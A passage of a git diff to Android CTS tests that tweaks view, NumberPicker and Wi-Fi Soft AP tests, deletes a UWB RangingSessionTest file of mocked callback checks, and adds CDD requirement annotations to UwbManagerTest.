@Test
public void testMmsPartDelete_canDeleteById() {
Uri mmsUri = insertIntoMmsTable(MMS_SUBJECT_ONE);
diff --git a/tests/tests/view/AndroidManifest.xml b/tests/tests/view/AndroidManifest.xml
index a9e9535ad5f..ba1205e5306 100644
--- a/tests/tests/view/AndroidManifest.xml
+++ b/tests/tests/view/AndroidManifest.xml
@@ -416,6 +416,7 @@
</activity>
<activity android:name="android.view.cts.InputEventInterceptTestActivity"
+ android:theme="@style/no_starting_window"
android:exported="true">
<intent-filter>
<action android:name="android.intent.action.MAIN"/>
diff --git a/tests/tests/view/res/values/themes.xml b/tests/tests/view/res/values/themes.xml
index e44b58a7e9c..6579108e7b0 100644
--- a/tests/tests/view/res/values/themes.xml
+++ b/tests/tests/view/res/values/themes.xml
@@ -20,4 +20,8 @@
<item name="android:textAppearanceLarge">@android:style/TextAppearance.Material.Large</item>
</style>
+ <style name="no_starting_window" parent="@android:style/Theme.DeviceDefault">
+ <item name="android:windowDisablePreview">true</item>
+ </style>
+
</resources> \ No newline at end of file
diff --git a/tests/tests/widget/res/layout/numberpicker_layout.xml b/tests/tests/widget/res/layout/numberpicker_layout.xml
index 7c6dfb40534..dd283244b92 100644
--- a/tests/tests/widget/res/layout/numberpicker_layout.xml
+++ b/tests/tests/widget/res/layout/numberpicker_layout.xml
@@ -19,7 +19,8 @@
xmlns:android="http://schemas.android.com/apk/res/android"
android:id="@+id/container"
android:layout_width="match_parent"
- android:layout_height="wrap_content"
+ android:layout_height="match_parent"
+ android:gravity="center"
android:orientation="vertical">
<NumberPicker
diff --git a/tests/tests/widget/src/android/widget/cts/NumberPickerTest.java b/tests/tests/widget/src/android/widget/cts/NumberPickerTest.java
index eecc071d0a3..6f085879f0a 100644
--- a/tests/tests/widget/src/android/widget/cts/NumberPickerTest.java
+++ b/tests/tests/widget/src/android/widget/cts/NumberPickerTest.java
@@ -376,7 +376,7 @@ public class NumberPickerTest {
numberPickerMiddleX,
numberPickerStartY,
0,
- screenHeight - numberPickerStartY); // drag down to the bottom of the screen.
+ mNumberPicker.getHeight()); // drag down to the bottom of the screen.
Assert.assertTrue("Expected to get to IDLE state within 5 seconds",
latch.await(5, TimeUnit.SECONDS));
@@ -444,7 +444,7 @@ public class NumberPickerTest {
numberPickerMiddleX,
numberPickerEndY,
0,
- -(numberPickerEndY)); // drag up to the top of the screen.
+ -(mNumberPicker.getHeight())); // drag up to the top of the screen.
Assert.assertTrue("Expected to get to IDLE state within 5 seconds",
latch.await(5, TimeUnit.SECONDS));
} catch (Throwable t) {
diff --git a/tests/tests/wifi/src/android/net/wifi/cts/WifiManagerTest.java b/tests/tests/wifi/src/android/net/wifi/cts/WifiManagerTest.java
index 464a24b6b41..474d48840aa 100644
--- a/tests/tests/wifi/src/android/net/wifi/cts/WifiManagerTest.java
+++ b/tests/tests/wifi/src/android/net/wifi/cts/WifiManagerTest.java
@@ -2912,13 +2912,6 @@ public class WifiManagerTest extends WifiJUnit3TestBase {
verifySetGetSoftApConfig(softApConfigBuilder.build());
}
- // Test 11 AX control config.
- if (callback.getCurrentSoftApCapability()
- .areFeaturesSupported(SoftApCapability.SOFTAP_FEATURE_IEEE80211_AX)) {
- softApConfigBuilder.setIeee80211axEnabled(true);
- verifySetGetSoftApConfig(softApConfigBuilder.build());
- }
-
// Test 11 BE control config
if (ApiLevelUtil.isAtLeast(Build.VERSION_CODES.TIRAMISU)) {
if (callback.getCurrentSoftApCapability()
@@ -2929,6 +2922,12 @@ public class WifiManagerTest extends WifiJUnit3TestBase {
}
if (ApiLevelUtil.isAtLeast(Build.VERSION_CODES.S)) {
+ // Test 11 AX control config.
+ if (callback.getCurrentSoftApCapability()
+ .areFeaturesSupported(SoftApCapability.SOFTAP_FEATURE_IEEE80211_AX)) {
+ softApConfigBuilder.setIeee80211axEnabled(true);
+ verifySetGetSoftApConfig(softApConfigBuilder.build());
+ }
softApConfigBuilder.setBridgedModeOpportunisticShutdownEnabled(false);
verifySetGetSoftApConfig(softApConfigBuilder.build());
}
@@ -3912,6 +3911,14 @@ public class WifiManagerTest extends WifiJUnit3TestBase {
@SdkSuppress(minSdkVersion = Build.VERSION_CODES.TIRAMISU)
public void testActiveCountryCodeChangedCallback() throws Exception {
+ if (!hasLocationFeature()) {
+ // skip the test if location is not supported
+ return;
+ }
+ if (!isLocationEnabled()) {
+ fail("Please enable location for this test - since country code is not available"
+ + " when location is disabled!");
+ }
TestActiveCountryCodeChangedCallback testCountryCodeChangedCallback =
new TestActiveCountryCodeChangedCallback();
TestExecutor executor = new TestExecutor();
diff --git a/tests/uwb/src/android/uwb/cts/RangingSessionTest.java b/tests/uwb/src/android/uwb/cts/RangingSessionTest.java
deleted file mode 100644
index ef651da34da..00000000000
--- a/tests/uwb/src/android/uwb/cts/RangingSessionTest.java
+++ /dev/null
@@ -1,637 +0,0 @@
-/*
- * Copyright (C) 2021 The Android Open Source Project
- *
- * Licensed under the Apache License, Version 2.0 (the "License");
- * you may not use this file except in compliance with the License.
- * You may obtain a copy of the License at
- *
- * http://www.apache.org/licenses/LICENSE-2.0
- *
- * Unless required by applicable law or agreed to in writing, software
- * distributed under the License is distributed on an "AS IS" BASIS,
- * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
- * See the License for the specific language governing permissions and
- * limitations under the License.
- */
-
-package android.uwb.cts;
-
-import static android.uwb.RangingSession.Callback.REASON_BAD_PARAMETERS;
-
-import static org.junit.Assert.assertEquals;
-import static org.junit.Assert.assertFalse;
-import static org.junit.Assert.assertTrue;
-import static org.junit.Assert.fail;
-import static org.mockito.ArgumentMatchers.any;
-import static org.mockito.ArgumentMatchers.anyInt;
-import static org.mockito.ArgumentMatchers.eq;
-import static org.mockito.Mockito.doAnswer;
-import static org.mockito.Mockito.mock;
-import static org.mockito.Mockito.times;
-import static org.mockito.Mockito.verify;
-
-import android.content.AttributionSource;
-import android.os.PersistableBundle;
-import android.os.Process;
-import android.os.RemoteException;
-import android.uwb.IUwbAdapter;
-import android.uwb.RangingReport;
-import android.uwb.RangingSession;
-import android.uwb.SessionHandle;
-import android.uwb.UwbAddress;
-
-import androidx.test.ext.junit.runners.AndroidJUnit4;
-import androidx.test.filters.SmallTest;
-
-import org.junit.Test;
-import org.junit.runner.RunWith;
-import org.mockito.invocation.InvocationOnMock;
-import org.mockito.stubbing.Answer;
-
-import java.util.concurrent.Executor;
-
-/**
- * Test of {@link RangingSession}.
- */
-@SmallTest
-@RunWith(AndroidJUnit4.class)
-public class RangingSessionTest {
- private static final Executor EXECUTOR = UwbTestUtils.getExecutor();
- private static final PersistableBundle PARAMS = new PersistableBundle();
- private static final UwbAddress UWB_ADDRESS = UwbAddress.fromBytes(new byte[] {0x00, 0x56});
- private static final @RangingSession.Callback.Reason int REASON =
- RangingSession.Callback.REASON_GENERIC_ERROR;
- private static final int UID = Process.myUid();
- private static final String PACKAGE_NAME = "com.uwb.test";
- private static final AttributionSource ATTRIBUTION_SOURCE =
- new AttributionSource.Builder(UID).setPackageName(PACKAGE_NAME).build();
- private static final int HANDLE_ID = 12;
- private static final int PID = Process.myPid();
-
- @Test
- public void testOnRangingOpened_OnOpenSuccessCalled() {
- SessionHandle handle = new SessionHandle(HANDLE_ID, ATTRIBUTION_SOURCE, PID);
- RangingSession.Callback callback = mock(RangingSession.Callback.class);
- IUwbAdapter adapter = mock(IUwbAdapter.class);
- RangingSession session = new RangingSession(EXECUTOR, callback, adapter, handle);
- verifyOpenState(session, false);
-
- session.onRangingOpened();
- verifyOpenState(session, true);
-
- // Verify that the onOpenSuccess callback was invoked
- verify(callback, times(1)).onOpened(eq(session));
- verify(callback, times(0)).onClosed(anyInt(), any());
- }
-
- @Test
- public void testOnRangingOpened_OnServiceDiscoveredConnectedCalled() {
- SessionHandle handle = new SessionHandle(HANDLE_ID, ATTRIBUTION_SOURCE, PID);
- RangingSession.Callback callback = mock(RangingSession.Callback.class);
- IUwbAdapter adapter = mock(IUwbAdapter.class);
- RangingSession session = new RangingSession(EXECUTOR, callback, adapter, handle);
- verifyOpenState(session, false);
-
- session.onRangingOpened();
- verifyOpenState(session, true);
-
- // Verify that the onOpenSuccess callback was invoked
- verify(callback, times(1)).onOpened(eq(session));
- verify(callback, times(0)).onClosed(anyInt(), any());
-
- session.onServiceDiscovered(PARAMS);
- verify(callback, times(1)).onServiceDiscovered(eq(PARAMS));
-
- session.onServiceConnected(PARAMS);
- verify(callback, times(1)).onServiceConnected(eq(PARAMS));
- }
-
-
- @Test
- public void testOnRangingOpened_CannotOpenClosedSession() {
- SessionHandle handle = new SessionHandle(HANDLE_ID, ATTRIBUTION_SOURCE, PID);
- RangingSession.Callback callback = mock(RangingSession.Callback.class);
- IUwbAdapter adapter = mock(IUwbAdapter.class);
- RangingSession session = new RangingSession(EXECUTOR, callback, adapter, handle);
-
- session.onRangingOpened();
- verifyOpenState(session, true);
- verify(callback, times(1)).onOpened(eq(session));
- verify(callback, times(0)).onClosed(anyInt(), any());
-
- session.onRangingClosed(REASON, PARAMS);
- verifyOpenState(session, false);
- verify(callback, times(1)).onOpened(eq(session));
- verify(callback, times(1)).onClosed(anyInt(), any());
-
- // Now invoke the ranging started callback and ensure the session remains closed
- session.onRangingOpened();
- verifyOpenState(session, false);
- verify(callback, times(1)).onOpened(eq(session));
- verify(callback, times(1)).onClosed(anyInt(), any());
- }
-
- @Test
- public void testOnRangingClosed_OnClosedCalledWhenSessionNotOpen() {
- SessionHandle handle = new SessionHandle(HANDLE_ID, ATTRIBUTION_SOURCE, PID);
- RangingSession.Callback callback = mock(RangingSession.Callback.class);
- IUwbAdapter adapter = mock(IUwbAdapter.class);
- RangingSession session = new RangingSession(EXECUTOR, callback, adapter, handle);
- verifyOpenState(session, false);
-
- session.onRangingClosed(REASON, PARAMS);
- verifyOpenState(session, false);
-
- // Verify that the onOpenSuccess callback was invoked
- verify(callback, times(0)).onOpened(eq(session));
- verify(callback, times(1)).onClosed(anyInt(), any());
- }
-
- @Test
- public void testOnRangingClosed_OnClosedCalled() {
- SessionHandle handle = new SessionHandle(HANDLE_ID, ATTRIBUTION_SOURCE, PID);
- RangingSession.Callback callback = mock(RangingSession.Callback.class);
- IUwbAdapter adapter = mock(IUwbAdapter.class);
- RangingSession session = new RangingSession(EXECUTOR, callback, adapter, handle);
- session.onRangingStarted(PARAMS);
- session.onRangingClosed(REASON, PARAMS);
- verify(callback, times(1)).onClosed(anyInt(), any());
-
- verifyOpenState(session, false);
- session.onRangingClosed(REASON, PARAMS);
- verify(callback, times(2)).onClosed(anyInt(), any());
- }
-
- @Test
- public void testOnRangingResult_OnReportReceivedCalled() {
- SessionHandle handle = new SessionHandle(HANDLE_ID, ATTRIBUTION_SOURCE, PID);
- RangingSession.Callback callback = mock(RangingSession.Callback.class);
- IUwbAdapter adapter = mock(IUwbAdapter.class);
- RangingSession session = new RangingSession(EXECUTOR, callback, adapter, handle);
- verifyOpenState(session, false);
-
- session.onRangingStarted(PARAMS);
- verifyOpenState(session, true);
-
- RangingReport report = UwbTestUtils.getRangingReports(1);
- session.onRangingResult(report);
- verify(callback, times(1)).onReportReceived(eq(report));
- }
-
- @Test
- public void testStart_CannotStartIfAlreadyStarted() throws RemoteException {
- SessionHandle handle = new SessionHandle(HANDLE_ID, ATTRIBUTION_SOURCE, PID);
- RangingSession.Callback callback = mock(RangingSession.Callback.class);
- IUwbAdapter adapter = mock(IUwbAdapter.class);
- RangingSession session = new RangingSession(EXECUTOR, callback, adapter, handle);
- doAnswer(new StartAnswer(session)).when(adapter).startRanging(any(), any());
- session.onRangingOpened();
-
- session.start(PARAMS);
- verify(callback, times(1)).onStarted(any());
-
- // Calling start again should throw an illegal state
- verifyThrowIllegalState(() -> session.start(PARAMS));
- verify(callback, times(1)).onStarted(any());
- }
-
- @Test
- public void testStop_CannotStopIfAlreadyStopped() throws RemoteException {
- SessionHandle handle = new SessionHandle(HANDLE_ID, ATTRIBUTION_SOURCE, PID);
- RangingSession.Callback callback = mock(RangingSession.Callback.class);
- IUwbAdapter adapter = mock(IUwbAdapter.class);
- RangingSession session = new RangingSession(EXECUTOR, callback, adapter, handle);
- doAnswer(new StartAnswer(session)).when(adapter).startRanging(any(), any());
- doAnswer(new StopAnswer(session)).when(adapter).stopRanging(any());
- session.onRangingOpened();
- session.start(PARAMS);
-
- verifyNoThrowIllegalState(session::stop);
- verify(callback, times(1)).onStopped(anyInt(), any());
-
- // Calling stop again should throw an illegal state
- verifyThrowIllegalState(session::stop);
- verify(callback, times(1)).onStopped(anyInt(), any());
- }
-
- @Test
- public void testStop_CannotStopIfOpenFailed() throws RemoteException {
- SessionHandle handle = new SessionHandle(HANDLE_ID, ATTRIBUTION_SOURCE, PID);
- RangingSession.Callback callback = mock(RangingSession.Callback.class);
- IUwbAdapter adapter = mock(IUwbAdapter.class);
- RangingSession session = new RangingSession(EXECUTOR, callback, adapter, handle);
- doAnswer(new StartAnswer(session)).when(adapter).startRanging(any(), any());
- doAnswer(new StopAnswer(session)).when(adapter).stopRanging(any());
- session.onRangingOpened();
- session.start(PARAMS);
-
- verifyNoThrowIllegalState(() -> session.onRangingOpenFailed(REASON_BAD_PARAMETERS, PARAMS));
- verify(callback, times(1)).onOpenFailed(
- REASON_BAD_PARAMETERS, PARAMS);
-
- // Calling stop again should throw an illegal state
- verifyThrowIllegalState(session::stop);
- verify(callback, times(0)).onStopped(anyInt(), any());
- }
-
- @Test
- public void testCallbacks_OnlyWhenOpened() throws RemoteException {
- SessionHandle handle = new SessionHandle(HANDLE_ID, ATTRIBUTION_SOURCE, PID);
- RangingSession.Callback callback = mock(RangingSession.Callback.class);
- IUwbAdapter adapter = mock(IUwbAdapter.class);
- RangingSession session = new RangingSession(EXECUTOR, callback, adapter, handle);
- doAnswer(new OpenAnswer(session)).when(adapter).openRanging(
- any(), any(), any(), any(), any());
- doAnswer(new StartAnswer(session)).when(adapter).startRanging(any(), any());
- doAnswer(new ReconfigureAnswer(session)).when(adapter).reconfigureRanging(any(), any());
- doAnswer(new PauseAnswer(session)).when(adapter).pause(any(), any());
- doAnswer(new ResumeAnswer(session)).when(adapter).resume(any(), any());
- doAnswer(new ControleeAddAnswer(session)).when(adapter).addControlee(any(), any());
- doAnswer(new ControleeRemoveAnswer(session)).when(adapter).removeControlee(any(), any());
- doAnswer(new DataSendAnswer(session)).when(adapter).sendData(any(), any(), any(), any());
- doAnswer(new StopAnswer(session)).when(adapter).stopRanging(any());
- doAnswer(new CloseAnswer(session)).when(adapter).closeRanging(any());
-
- verifyThrowIllegalState(() -> session.reconfigure(PARAMS));
- verify(callback, times(0)).onReconfigured(any());
- verifyOpenState(session, false);
-
- session.onRangingOpened();
- verifyOpenState(session, true);
- verify(callback, times(1)).onOpened(any());
- verifyNoThrowIllegalState(() -> session.reconfigure(PARAMS));
- verify(callback, times(1)).onReconfigured(any());
- verifyThrowIllegalState(() -> session.pause(PARAMS));
- verify(callback, times(0)).onPaused(any());
- verifyThrowIllegalState(() -> session.resume(PARAMS));
- verify(callback, times(0)).onResumed(any());
- verifyNoThrowIllegalState(() -> session.addControlee(PARAMS));
- verify(callback, times(1)).onControleeAdded(any());
- verifyNoThrowIllegalState(() -> session.removeControlee(PARAMS));
- verify(callback, times(1)).onControleeRemoved(any());
- verifyThrowIllegalState(() -> session.sendData(
- UWB_ADDRESS, PARAMS, new byte[] {0x05, 0x1}));
- verify(callback, times(0)).onDataSent(any(), any());
-
- session.onRangingStartFailed(REASON_BAD_PARAMETERS, PARAMS);
- verifyOpenState(session, true);
- verify(callback, times(1)).onStartFailed(
- REASON_BAD_PARAMETERS, PARAMS);
-
- session.onRangingStarted(PARAMS);
- verifyOpenState(session, true);
- verifyNoThrowIllegalState(() -> session.reconfigure(PARAMS));
- verify(callback, times(2)).onReconfigured(any());
- verifyNoThrowIllegalState(() -> session.reconfigure(null));
- verify(callback, times(1)).onReconfigureFailed(
- eq(REASON_BAD_PARAMETERS), any());
- verifyNoThrowIllegalState(() -> session.pause(PARAMS));
- verify(callback, times(1)).onPaused(any());
- verifyNoThrowIllegalState(() -> session.pause(null));
- verify(callback, times(1)).onPauseFailed(
- eq(REASON_BAD_PARAMETERS), any());
- verifyNoThrowIllegalState(() -> session.resume(PARAMS));
- verify(callback, times(1)).onResumed(any());
- verifyNoThrowIllegalState(() -> session.resume(null));
- verify(callback, times(1)).onResumeFailed(
- eq(REASON_BAD_PARAMETERS), any());
- verifyNoThrowIllegalState(() -> session.addControlee(PARAMS));
- verify(callback, times(2)).onControleeAdded(any());
- verifyNoThrowIllegalState(() -> session.addControlee(null));
- verify(callback, times(1)).onControleeAddFailed(
- eq(REASON_BAD_PARAMETERS), any());
- verifyNoThrowIllegalState(() -> session.removeControlee(PARAMS));
- verify(callback, times(2)).onControleeRemoved(any());
- verifyNoThrowIllegalState(() -> session.removeControlee(null));
- verify(callback, times(1)).onControleeRemoveFailed(
- eq(REASON_BAD_PARAMETERS), any());
- verifyNoThrowIllegalState(() -> session.sendData(
- UWB_ADDRESS, PARAMS, new byte[] {0x05, 0x1}));
- verify(callback, times(1)).onDataSent(any(), any());
- verifyNoThrowIllegalState(() -> session.sendData(
- null, PARAMS, new byte[] {0x05, 0x1}));
- verify(callback, times(1)).onDataSendFailed(
- eq(null), eq(REASON_BAD_PARAMETERS), any());
-
- session.onDataReceived(UWB_ADDRESS, PARAMS, new byte[] {0x5, 0x7});
- verify(callback, times(1)).onDataReceived(
- UWB_ADDRESS, PARAMS, new byte[] {0x5, 0x7});
- session.onDataReceiveFailed(UWB_ADDRESS, REASON_BAD_PARAMETERS, PARAMS);
- verify(callback, times(1)).onDataReceiveFailed(
- UWB_ADDRESS, REASON_BAD_PARAMETERS, PARAMS);
-
- session.stop();
- verifyOpenState(session, true);
- verify(callback, times(1)).onStopped(REASON, PARAMS);
-
- verifyNoThrowIllegalState(() -> session.reconfigure(PARAMS));
- verify(callback, times(3)).onReconfigured(any());
- verifyThrowIllegalState(() -> session.pause(PARAMS));
- verify(callback, times(1)).onPaused(any());
- verifyThrowIllegalState(() -> session.resume(PARAMS));
- verify(callback, times(1)).onResumed(any());
- verifyNoThrowIllegalState(() -> session.addControlee(PARAMS));
- verify(callback, times(3)).onControleeAdded(any());
- verifyNoThrowIllegalState(() -> session.removeControlee(PARAMS));
- verify(callback, times(3)).onControleeRemoved(any());
- verifyThrowIllegalState(() -> session.sendData(
- UWB_ADDRESS, PARAMS, new byte[] {0x05, 0x1}));
- verify(callback, times(1)).onDataSent(any(), any());
-
- session.close();
- verifyOpenState(session, false);
- verify(callback, times(1)).onClosed(REASON, PARAMS);
-
- verifyThrowIllegalState(() -> session.reconfigure(PARAMS));
- verify(callback, times(3)).onReconfigured(any());
- verifyThrowIllegalState(() -> session.pause(PARAMS));
- verify(callback, times(1)).onPaused(any());
- verifyThrowIllegalState(() -> session.resume(PARAMS));
- verify(callback, times(1)).onResumed(any());
- verifyThrowIllegalState(() -> session.addControlee(PARAMS));
- verify(callback, times(3)).onControleeAdded(any());
- verifyThrowIllegalState(() -> session.removeControlee(PARAMS));
- verify(callback, times(3)).onControleeRemoved(any());
- verifyThrowIllegalState(() -> session.sendData(
- UWB_ADDRESS, PARAMS, new byte[] {0x05, 0x1}));
- verify(callback, times(1)).onDataSent(any(), any());
- }
-
- @Test
- public void testClose_NoCallbackUntilInvoked() throws RemoteException {
- SessionHandle handle = new SessionHandle(HANDLE_ID, ATTRIBUTION_SOURCE, PID);
- RangingSession.Callback callback = mock(RangingSession.Callback.class);
- IUwbAdapter adapter = mock(IUwbAdapter.class);
- RangingSession session = new RangingSession(EXECUTOR, callback, adapter, handle);
- session.onRangingOpened();
-
- // Calling close multiple times should invoke closeRanging until the session receives
- // the onClosed callback.
- int totalCallsBeforeOnRangingClosed = 3;
- for (int i = 1; i <= totalCallsBeforeOnRangingClosed; i++) {
- session.close();
- verifyOpenState(session, true);
- verify(adapter, times(i)).closeRanging(handle);
- verify(callback, times(0)).onClosed(anyInt(), any());
- }
-
- // After onClosed is invoked, then the adapter should no longer be called for each call to
- // the session's close.
- final int totalCallsAfterOnRangingClosed = 2;
- for (int i = 1; i <= totalCallsAfterOnRangingClosed; i++) {
- session.onRangingClosed(REASON, PARAMS);
- verifyOpenState(session, false);
- verify(adapter, times(totalCallsBeforeOnRangingClosed)).closeRanging(handle);
- verify(callback, times(i)).onClosed(anyInt(), any());
- }
- }
-
- @Test
- public void testClose_OnClosedCalled() throws RemoteException {
- SessionHandle handle = new SessionHandle(HANDLE_ID, ATTRIBUTION_SOURCE, PID);
- RangingSession.Callback callback = mock(RangingSession.Callback.class);
- IUwbAdapter adapter = mock(IUwbAdapter.class);
- RangingSession session = new RangingSession(EXECUTOR, callback, adapter, handle);
- doAnswer(new CloseAnswer(session)).when(adapter).closeRanging(any());
- session.onRangingOpened();
-
- session.close();
- verify(callback, times(1)).onClosed(anyInt(), any());
- }
-
- @Test
- public void testClose_CannotInteractFurther() throws RemoteException {
- SessionHandle handle = new SessionHandle(HANDLE_ID, ATTRIBUTION_SOURCE, PID);
- RangingSession.Callback callback = mock(RangingSession.Callback.class);
- IUwbAdapter adapter = mock(IUwbAdapter.class);
- RangingSession session = new RangingSession(EXECUTOR, callback, adapter, handle);
- doAnswer(new CloseAnswer(session)).when(adapter).closeRanging(any());
- session.close();
-
- verifyThrowIllegalState(() -> session.start(PARAMS));
- verifyThrowIllegalState(() -> session.reconfigure(PARAMS));
- verifyThrowIllegalState(() -> session.stop());
- verifyNoThrowIllegalState(() -> session.close());
- }
-
- @Test
- public void testOnRangingResult_OnReportReceivedCalledWhenOpen() {
- SessionHandle handle = new SessionHandle(HANDLE_ID, ATTRIBUTION_SOURCE, PID);
- RangingSession.Callback callback = mock(RangingSession.Callback.class);
- IUwbAdapter adapter = mock(IUwbAdapter.class);
- RangingSession session = new RangingSession(EXECUTOR, callback, adapter, handle);
-
- assertFalse(session.isOpen());
- session.onRangingStarted(PARAMS);
- assertTrue(session.isOpen());
-
- // Verify that the onReportReceived callback was invoked
- RangingReport report = UwbTestUtils.getRangingReports(1);
- session.onRangingResult(report);
- verify(callback, times(1)).onReportReceived(report);
- }
-
- @Test
- public void testOnRangingResult_OnReportReceivedNotCalledWhenNotOpen() {
- SessionHandle handle = new SessionHandle(HANDLE_ID, ATTRIBUTION_SOURCE, PID);
- RangingSession.Callback callback = mock(RangingSession.Callback.class);
- IUwbAdapter adapter = mock(IUwbAdapter.class);
- RangingSession session = new RangingSession(EXECUTOR, callback, adapter, handle);
-
- assertFalse(session.isOpen());
-
- // Verify that the onReportReceived callback was invoked
- RangingReport report = UwbTestUtils.getRangingReports(1);
- session.onRangingResult(report);
- verify(callback, times(0)).onReportReceived(report);
- }
-
- private void verifyOpenState(RangingSession session, boolean expected) {
- assertEquals(expected, session.isOpen());
- }
-
- private void verifyThrowIllegalState(Runnable runnable) {
- try {
- runnable.run();
- fail();
- } catch (IllegalStateException e) {
- // Pass
- }
- }
-
- private void verifyNoThrowIllegalState(Runnable runnable) {
- try {
- runnable.run();
- } catch (IllegalStateException e) {
- fail();
- }
- }
-
- abstract class AdapterAnswer implements Answer {
- protected RangingSession mSession;
-
- protected AdapterAnswer(RangingSession session) {
- mSession = session;
- }
- }
-
- class OpenAnswer extends AdapterAnswer {
- OpenAnswer(RangingSession session) {
- super(session);
- }
-
- @Override
- public Object answer(InvocationOnMock invocation) {
- PersistableBundle argParams = invocation.getArgument(1);
- if (argParams != null) {
- mSession.onRangingOpened();
- } else {
- mSession.onRangingOpenFailed(REASON_BAD_PARAMETERS, PARAMS);
- }
- return null;
- }
- }
-
- class StartAnswer extends AdapterAnswer {
- StartAnswer(RangingSession session) {
- super(session);
- }
-
- @Override
- public Object answer(InvocationOnMock invocation) {
- PersistableBundle argParams = invocation.getArgument(1);
- if (argParams != null) {
- mSession.onRangingStarted(PARAMS);
- } else {
- mSession.onRangingStartFailed(REASON_BAD_PARAMETERS, PARAMS);
- }
- return null;
- }
- }
-
- class ReconfigureAnswer extends AdapterAnswer {
- ReconfigureAnswer(RangingSession session) {
- super(session);
- }
-
- @Override
- public Object answer(InvocationOnMock invocation) {
- PersistableBundle argParams = invocation.getArgument(1);
- if (argParams != null) {
- mSession.onRangingReconfigured(PARAMS);
- } else {
- mSession.onRangingReconfigureFailed(REASON_BAD_PARAMETERS, PARAMS);
- }
- return null;
- }
- }
-
- class PauseAnswer extends AdapterAnswer {
- PauseAnswer(RangingSession session) {
- super(session);
- }
-
- @Override
- public Object answer(InvocationOnMock invocation) {
- PersistableBundle argParams = invocation.getArgument(1);
- if (argParams != null) {
- mSession.onRangingPaused(PARAMS);
- } else {
- mSession.onRangingPauseFailed(REASON_BAD_PARAMETERS, PARAMS);
- }
- return null;
- }
- }
-
- class ResumeAnswer extends AdapterAnswer {
- ResumeAnswer(RangingSession session) {
- super(session);
- }
-
- @Override
- public Object answer(InvocationOnMock invocation) {
- PersistableBundle argParams = invocation.getArgument(1);
- if (argParams != null) {
- mSession.onRangingResumed(PARAMS);
- } else {
- mSession.onRangingResumeFailed(REASON_BAD_PARAMETERS, PARAMS);
- }
- return null;
- }
- }
-
- class ControleeAddAnswer extends AdapterAnswer {
- ControleeAddAnswer(RangingSession session) {
- super(session);
- }
-
- @Override
- public Object answer(InvocationOnMock invocation) {
- PersistableBundle argParams = invocation.getArgument(1);
- if (argParams != null) {
- mSession.onControleeAdded(PARAMS);
- } else {
- mSession.onControleeAddFailed(REASON_BAD_PARAMETERS, PARAMS);
- }
- return null;
- }
- }
-
- class ControleeRemoveAnswer extends AdapterAnswer {
- ControleeRemoveAnswer(RangingSession session) {
- super(session);
- }
-
- @Override
- public Object answer(InvocationOnMock invocation) {
- PersistableBundle argParams = invocation.getArgument(1);
- if (argParams != null) {
- mSession.onControleeRemoved(PARAMS);
- } else {
- mSession.onControleeRemoveFailed(REASON_BAD_PARAMETERS, PARAMS);
- }
- return null;
- }
- }
-
- class DataSendAnswer extends AdapterAnswer {
- DataSendAnswer(RangingSession session) {
- super(session);
- }
-
- @Override
- public Object answer(InvocationOnMock invocation) {
- UwbAddress argParams = invocation.getArgument(1);
- if (argParams != null) {
- mSession.onDataSent(UWB_ADDRESS, PARAMS);
- } else {
- mSession.onDataSendFailed(null, REASON_BAD_PARAMETERS, PARAMS);
- }
- return null;
- }
- }
-
- class StopAnswer extends AdapterAnswer {
- StopAnswer(RangingSession session) {
- super(session);
- }
-
- @Override
- public Object answer(InvocationOnMock invocation) {
- mSession.onRangingStopped(REASON, PARAMS);
- return null;
- }
- }
-
- class CloseAnswer extends AdapterAnswer {
- CloseAnswer(RangingSession session) {
- super(session);
- }
-
- @Override
- public Object answer(InvocationOnMock invocation) {
- mSession.onRangingClosed(REASON, PARAMS);
- return null;
- }
- }
-}
diff --git a/tests/uwb/src/android/uwb/cts/UwbManagerTest.java b/tests/uwb/src/android/uwb/cts/UwbManagerTest.java
index 8e3c0982bb3..097f799dbff 100644
--- a/tests/uwb/src/android/uwb/cts/UwbManagerTest.java
+++ b/tests/uwb/src/android/uwb/cts/UwbManagerTest.java
@@ -51,6 +51,7 @@ import androidx.test.InstrumentationRegistry;
import androidx.test.ext.junit.runners.AndroidJUnit4;
import androidx.test.filters.SmallTest;
+import com.android.compatibility.common.util.CddTest;
import com.android.compatibility.common.util.ShellIdentityUtils;
import com.google.uwb.support.fira.FiraOpenSessionParams;
@@ -120,6 +121,7 @@ public class UwbManagerTest {
}
@Test
+ @CddTest(requirements = {"7.3.13/C-1-1,C-1-2"})
public void testGetSpecificationInfo() {
UiAutomation uiAutomation = getInstrumentation().getUiAutomation();
try {
@@ -134,6 +136,7 @@ public class UwbManagerTest {
}
@Test
+ @CddTest(requirements = {"7.3.13/C-1-1,C-1-2"})
public void testGetSpecificationInfoWithChipId() {
UiAutomation uiAutomation = getInstrumentation().getUiAutomation();
try {
@@ -149,6 +152,7 @@ public class UwbManagerTest {
}
@Test
+ @CddTest(requirements = {"7.3.13/C-1-1,C-1-2"})
public void testGetChipInfos() {
UiAutomation uiAutomation = getInstrumentation().getUiAutomation();
try {
@@ -164,6 +168,7 @@ public class UwbManagerTest {
}
@Test
+ @CddTest(requirements = {"7.3.13/C-1-1,C-1-2"})
public void testGetSpecificationInfoWithInvalidChipId() {
UiAutomation uiAutomation = getInstrumentation().getUiAutomation();
try {
@@ -177,6 +182,7 @@ public class UwbManagerTest {
}
@Test
+ @CddTest(requirements = {"7.3.13/C-1-1,C-1-2"})
public void testGetSpecificationInfoWithoutUwbPrivileged() {
try {
mUwbManager.getSpecificationInfo();
@@ -189,6 +195,7 @@ public class UwbManagerTest {
}
@Test
+ @CddTest(requirements = {"7.3.13/C-1-1,C-1-2"})
public void testGetSpecificationInfoWithChipIdWithoutUwbPrivileged() {
try {
mUwbManager.getSpecificationInfo(mDefaultChipId);
@@ -202,6 +209,7 @@ public class UwbManagerTest {
@Test
+ @CddTest(requirements = {"7.3.13/C-1-1,C-1-2"})
public void testElapsedRealtimeResolutionNanos() {
UiAutomation uiAutomation = getInstrumentation().getUiAutomation();
try {
@@ -214,6 +222,7 @@ public class UwbManagerTest {
}
@Test
+ @CddTest(requirements = {"7.3.13/C-1-1,C-1-2"})
public void testElapsedRealtimeResolutionNanosWithChipId() {
UiAutomation uiAutomation = getInstrumentation().getUiAutomation();
try {
@@ -227,6 +236,7 @@ public class UwbManagerTest {
}
@Test
+ @CddTest(requirements = {"7.3.13/C-1-1,C-1-2"})
public void testElapsedRealtimeResolutionNanosWithInvalidChipId() {
UiAutomation uiAutomation = getInstrumentation().getUiAutomation();
try {
@@ -240,6 +250,7 @@ public class UwbManagerTest {
}
@Test
+ @CddTest(requirements = {"7.3.13/C-1-1,C-1-2"})
